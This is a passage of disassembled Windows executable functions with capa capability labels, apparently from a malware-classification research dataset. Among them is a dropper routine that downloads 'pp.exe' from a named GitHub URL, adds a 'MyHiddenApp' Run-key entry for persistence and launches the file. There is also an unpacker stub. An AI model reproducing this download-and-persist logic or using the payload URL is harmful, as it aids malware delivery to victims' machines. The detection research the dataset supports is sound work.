joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140224d10
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [rcx + 0x60]
movzx r8d, byte [rcx + 0x5c]
test eax, eax
jle 0x140224d4c
mov edx, dword [rcx + 0x288]
lea r11, [0x1403609b0]
mov r9d, eax
nop dword [rax]
mov eax, edx
shr rax, 0x18
xor rax, r8
shl edx, 8
xor edx, dword [r11 + rax*4]
mov dword [rcx + 0x288], edx
sub r9, 1
jne 0x140224d30
mov eax, dword [rcx + 0x5c]
mov byte [rax + rcx + 0x80], 1
movsxd r9, dword [rcx + 0x60]
mov edx, r9d
sub edx, 1
je 0x140224e24
sub edx, 1
je 0x140224e16
cmp edx, 1
je 0x140224de0
mov byte [r9 + rcx + 0x7c], 1
mov rax, qword [rcx + 0x40]
movsxd rdx, dword [rcx + 0x6c]
mov byte [rdx + rax], r8b
movsxd rdx, dword [rcx + 0x6c]
lea eax, [rdx + 1]
mov dword [rcx + 0x6c], eax
mov rax, qword [rcx + 0x40]
mov byte [rdx + rax + 1], r8b
movsxd rdx, dword [rcx + 0x6c]
lea eax, [rdx + 1]
mov dword [rcx + 0x6c], eax
mov rax, qword [rcx + 0x40]
mov byte [rdx + rax + 1], r8b
movsxd rdx, dword [rcx + 0x6c]
lea eax, [rdx + 1]
mov dword [rcx + 0x6c], eax
mov rax, qword [rcx + 0x40]
mov byte [rdx + rax + 1], r8b
movsxd rdx, dword [rcx + 0x6c]
lea eax, [rdx + 1]
mov dword [rcx + 0x6c], eax
movzx r8d, byte [rcx + 0x60]
mov rax, qword [rcx + 0x40]
sub r8b, 4
mov byte [rdx + rax + 1], r8b
inc dword [rcx + 0x6c]
ret
movsxd rdx, dword [rcx + 0x6c]
mov rax, qword [rcx + 0x40]
mov byte [rdx + rax], r8b
movsxd rdx, dword [rcx + 0x6c]
lea eax, [rdx + 1]
mov dword [rcx + 0x6c], eax
mov rax, qword [rcx + 0x40]
mov byte [rdx + rax + 1], r8b
movsxd rdx, dword [rcx + 0x6c]
lea eax, [rdx + 1]
mov dword [rcx + 0x6c], eax
mov rax, qword [rcx + 0x40]
mov byte [rdx + rax + 1], r8b
inc dword [rcx + 0x6c]
ret
movsxd rdx, dword [rcx + 0x6c]
mov rax, qword [rcx + 0x40]
mov byte [rdx + rax], r8b
jmp 0x140224dff
movsxd rdx, dword [rcx + 0x6c]
mov rax, qword [rcx + 0x40]
mov byte [rdx + rax], r8b
inc dword [rcx + 0x6c]
ret
Function at 0x14022cef4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14022cf3e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14022cf3e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14022cf3e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14022cf3e
cmp dword [rcx + 0x84], 0xe
jbe 0x14022cf3e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14022cf40
xor al, al
add rsp, 0x28
ret

Function at 0x140234170
Capabilities:
Resolve dns

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x80
in al, dx
add byte [rax], 0
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
invalid
Function at 0x1400106d0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1400106dd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400106ed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1400106d5
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x140010705
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400106f2
sub eax, 3
jb 0x14001071f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140010756
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x140010746
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140010744
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140010733
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.140010692
jmp 0x1400106dd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x4400
mov dl, 2
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400107a2
cmp rsi, rcx
jae 0x1400107aa
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140010789
cmp al, 0x8f
ja 0x140010789
cmp byte [rsi - 2], 0xf
je 0x14001078f
sub al, 0xe8
cmp al, 1
ja 0x140010773
cmp rsi, rcx
jae 0x1400107aa
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140010779
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400107aa
lodsb al, byte [rsi]
jmp 0x140010789
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xd000]
mov eax, dword [rdi]
or eax, eax
je 0x140010807
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x101e4]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400107b7
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140010801
mov qword [rbx], rax
add rbx, 8
jmp 0x1400107d7
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140010841
cmp al, 0xef
ja 0x140010833
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140010813
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140010822
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x21f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140010895
sub rsp, 0xffffffffffffff80
jmp 0x140004738
Function at 0x1400018f0
Capabilities:
Set registry value

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
xor eax, eax
test eax, eax
jne 0x140001908
cmp qword [rsp + 0x70], 0
je 0x140001920
mov dword [rsp + 0x30], 1
jmp 0x140001928
mov dword [rsp + 0x30], 0
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
jne 0x14000193e
mov eax, 0xd
jmp 0x1400019a2
xor eax, eax
test eax, eax
jne 0x14000190e
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0xffffffffffffffff
inc qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
cmp word [rax + rcx*2], 0
jne 0x140001957
mov rax, qword [rsp + 0x38]
inc eax
mov eax, eax
shl rax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x78]
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add rsp, 0x58
ret

Function at 0x140002040
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
sub rsp, 0x58
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rsp + 0x40], rax
lea rdx, str.C:hidden_
lea rcx, [rsp + 0x20]
call fcn.140003cf0
nop
lea rcx, [rsp + 0x20]
call fcn.140003bd0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140002093
lea rcx, [rsp + 0x20]
call fcn.140003bd0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
nop
lea rcx, [rsp + 0x20]
call fcn.140003c60
nop
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140007950
add rsp, 0x58
ret
Function at 0x1400024c0
Capabilities:
Persist via run registry key

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xf8
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rsp + 0xe0], rax
mov edx, 0x18
lea rcx, [rsp + 0xc8]
call fcn.1400018d0
xor edx, edx
lea rcx, [rsp + 0xc8]
call fcn.1400016a0
nop
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea rcx, [rsp + 0x50]
call fcn.1400019b0
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
call fcn.140001a60
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2001f
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
mov rdx, 0xffffffff80000001
lea rcx, [rsp + 0xc8]
call fcn.140001750
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x50]
call fcn.140001a40
nop
cmp dword [rsp + 0x40], 0
jne 0x1400025c5
mov rcx, qword [rsp + 0x100]
call fcn.140003bd0
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1400019b0
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x58]
call fcn.140001a60
mov r9d, 1
mov r8, rax
lea rdx, str.MyHiddenApp
lea rcx, [rsp + 0xc8]
call fcn.1400018f0
lea rcx, [rsp + 0x60]
call fcn.140001a40
nop
jmp 0x14000263a
mov edx, dword [rsp + 0x40]
lea rcx, [rsp + 0xa8]
call fcn.1400014c0
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x70], rax
mov r8, qword [rsp + 0x70]
lea rdx, str.Failed_to_create_registry_key:
lea rcx, [rsp + 0x88]
call fcn.140005620
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
mov rcx, qword [rsp + 0x80]
call fcn.140001f40
nop
lea rcx, [rsp + 0x88]
call fcn.140003c60
nop
lea rcx, [rsp + 0xa8]
call fcn.140003c60
nop
lea rcx, [rsp + 0xc8]
call fcn.1400016e0
nop
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140007950
add rsp, 0xf8
ret

Function at 0x140002660
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x120
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rsp + 0x110], rax
mov dword [rsp + 0xa0], 0x68
lea rax, [rsp + 0xa8]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
mov dword [rsp + 0xdc], 1
xor eax, eax
mov word [rsp + 0xe0], ax
mov rcx, qword [rsp + 0x130]
call fcn.140003bd0
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xa0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140002751
mov r8, qword [rsp + 0x130]
lea rdx, str.Failed_to_execute:
lea rcx, [rsp + 0x60]
call fcn.140005550
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x58]
call fcn.140001f40
nop
lea rcx, [rsp + 0x60]
call fcn.140003c60
nop
jmp 0x14000276e
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rsp + 0x110]
xor rcx, rsp
call fcn.140007950
add rsp, 0x120
pop rdi
ret
Function at 0x140002790
Capabilities:
Create directory

Disassembly:
sub rsp, 0x98
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rsp + 0x88], rax
call fcn.140002040
lea rdx, str.C:UsersPublicAppDataMyApp_
lea rcx, [rsp + 0x68]
call fcn.140003cf0
nop
lea rcx, [rsp + 0x68]
call fcn.140003bd0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, str.https:__github.com_PhantomPeek_Phantom_raw_refs_heads_main_pp.exe
lea rcx, [rsp + 0x48]
call fcn.140003cf0
nop
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x28]
call fcn.1400021c0
nop
lea rcx, [rsp + 0x28]
call fcn.140003ba0
movzx eax, al
test eax, eax
je 0x140002836
mov dword [rsp + 0x20], 1
lea rcx, [rsp + 0x28]
call fcn.140003c60
nop
lea rcx, [rsp + 0x48]
call fcn.140003c60
nop
lea rcx, [rsp + 0x68]
call fcn.140003c60
mov eax, dword [rsp + 0x20]
jmp 0x140002877
lea rcx, [rsp + 0x28]
call fcn.1400024c0
lea rcx, [rsp + 0x28]
call fcn.140002660
nop
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x28]
call fcn.140003c60
nop
lea rcx, [rsp + 0x48]
call fcn.140003c60
nop
lea rcx, [rsp + 0x68]
call fcn.140003c60
mov eax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140007950
add rsp, 0x98
ret

Function at 0x1400028c0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov r9d, 0x6c078965
mov r8d, 0xffffffff
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.1400040d0
nop
mov rax, qword [rsp + 0x30]
add rsp, 0x28
ret
Function at 0x140002c50
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x68], 0
je 0x140002c89
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140002d78
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x50], 0
jle 0x140002d20
cmp qword [rsp + 0x20], 0
jle 0x140002d20
mov rax, qword [rsp + 0x20]
cmp qword [rsp + 0x50], rax
jge 0x140002cc9
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x48]
mov rcx, rax
call fcn.140004eb0
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
nop
cmp qword [rsp + 0x50], 0
jle 0x140002d68
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x80], 0
je 0x140002d68
mov rax, qword [rsp + 0x40]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
sub rcx, rax
mov rax, rcx
add rsp, 0x38
ret
Function at 0x140002d80
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x80], 0
jg 0x140002db4
xor eax, eax
jmp 0x140002f67
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x68], 0
je 0x140002ddd
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x140002f67
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x140002e7d
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x40]
call fcn.140002f80
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call fcn.140004eb0
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
nop
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x80], 0
je 0x140002f57
mov rcx, qword [rsp + 0x70]
call fcn.1400041b0
mov qword [rsp + 0x38], 0xfff
cmp qword [rsp + 0x40], 0xfff
jbe 0x140002f1e
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x28], 0xfff
je 0x140002f1c
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
jmp 0x140002f67
jmp 0x140002ea3
cmp qword [rsp + 0x40], 0
jbe 0x140002f57
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x40]
mov edx, 1
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140007950
add rsp, 0x68
ret
Function at 0x140004270
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0xa0]
cmp qword [rax + 0x68], 0
je 0x1400042ad
mov rax, qword [rsp + 0xa0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x1400042b4
mov al, 1
jmp 0x1400043f8
call fcn.140004dc0
mov rcx, qword [rsp + 0xa0]
mov rcx, qword [rcx]
mov qword [rsp + 0x48], rcx
mov edx, eax
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0x48]
call qword [rax + 0x18]
mov dword [rsp + 0x38], eax
call fcn.140004dc0
mov ecx, dword [rsp + 0x38]
mov edx, ecx
mov ecx, eax
call fcn.140004e20
movzx eax, al
test eax, eax
je 0x1400042ff
xor al, al
jmp 0x1400043f8
mov qword [rsp + 0x50], 0x20
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0xa0]
add rcx, 0x74
lea rdx, [rsp + 0x58]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x60]
mov rdx, rcx
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140004365
cmp dword [rsp + 0x30], 1
je 0x140004371
cmp dword [rsp + 0x30], 3
je 0x1400043e6
jmp 0x1400043f6
mov rax, qword [rsp + 0xa0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jbe 0x1400043bd
mov rax, qword [rsp + 0xa0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x40]
mov edx, 1
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp qword [rsp + 0x40], rax
je 0x1400043bd
xor al, al
jmp 0x1400043f8
mov rax, qword [rsp + 0xa0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x1400043d7
mov dword [rsp + 0x34], 1
jmp 0x1400043df
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
jmp 0x1400043f8
mov rax, qword [rsp + 0xa0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x1400043f8
xor al, al
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140007950
add rsp, 0x98
ret
Function at 0x140007080
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jne 0x1400070a3
mov rcx, qword [rsp + 0x40]
call fcn.140007150
nop
jmp 0x1400070bb
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4e0
jb 0x1400070bb
mov rcx, qword [rsp + 0x40]
call fcn.140007200
nop
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20]
shr eax, 0xb
mov rcx, qword [rsp + 0x40]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0x12
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x140007150
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp + 8], 0x270
jmp 0x140007171
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0x4e0
jae 0x1400071f5
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 8]
mov eax, dword [rax + rcx*4 - 0x9bc]
and eax, 0x80000000
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov ecx, dword [rcx + rdx*4 - 0x9b8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
and eax, 1
test eax, eax
je 0x1400071c0
mov dword [rsp + 4], 0x9908b0df
jmp 0x1400071c8
mov dword [rsp + 4], 0
mov eax, dword [rsp]
shr eax, 1
xor eax, dword [rsp + 4]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x140007164
add rsp, 0x18
ret
Function at 0x140007200
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov qword [rsp + 0x28], 0x26f
mov qword [rsp + 0x30], 0xe3
mov qword [rsp], 0
jmp 0x140007230
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0xe3
jae 0x1400072b2
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x10], eax
mov eax, dword [rsp + 0x10]
and eax, 1
test eax, eax
je 0x14000727e
mov dword [rsp + 0x14], 0x9908b0df
jmp 0x140007286
mov dword [rsp + 0x14], 0
mov eax, dword [rsp + 0x10]
shr eax, 1
xor eax, dword [rsp + 0x14]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
xor eax, dword [rcx + rdx*4 + 0xff8]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x140007225
mov qword [rsp + 8], 0xe3
jmp 0x1400072ca
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0x26f
jae 0x140007351
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 8]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x18], eax
mov eax, dword [rsp + 0x18]
and eax, 1
test eax, eax
je 0x14000731b
mov dword [rsp + 0x1c], 0x9908b0df
jmp 0x140007323
mov dword [rsp + 0x1c], 0
mov eax, dword [rsp + 0x18]
shr eax, 1
xor eax, dword [rsp + 0x1c]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x1400072bd
mov qword [rsp + 0x38], 0x26f
mov eax, 4
imul rax, rax, 0x4df
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax + 4]
and eax, 0x80000000
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x50]
mov ecx, dword [rdx + rcx + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
and eax, 1
test eax, eax
je 0x1400073a5
mov dword [rsp + 0x24], 0x9908b0df
jmp 0x1400073ad
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x20]
shr eax, 1
xor eax, dword [rsp + 0x24]
mov ecx, 4
imul rcx, rcx, 0x18c
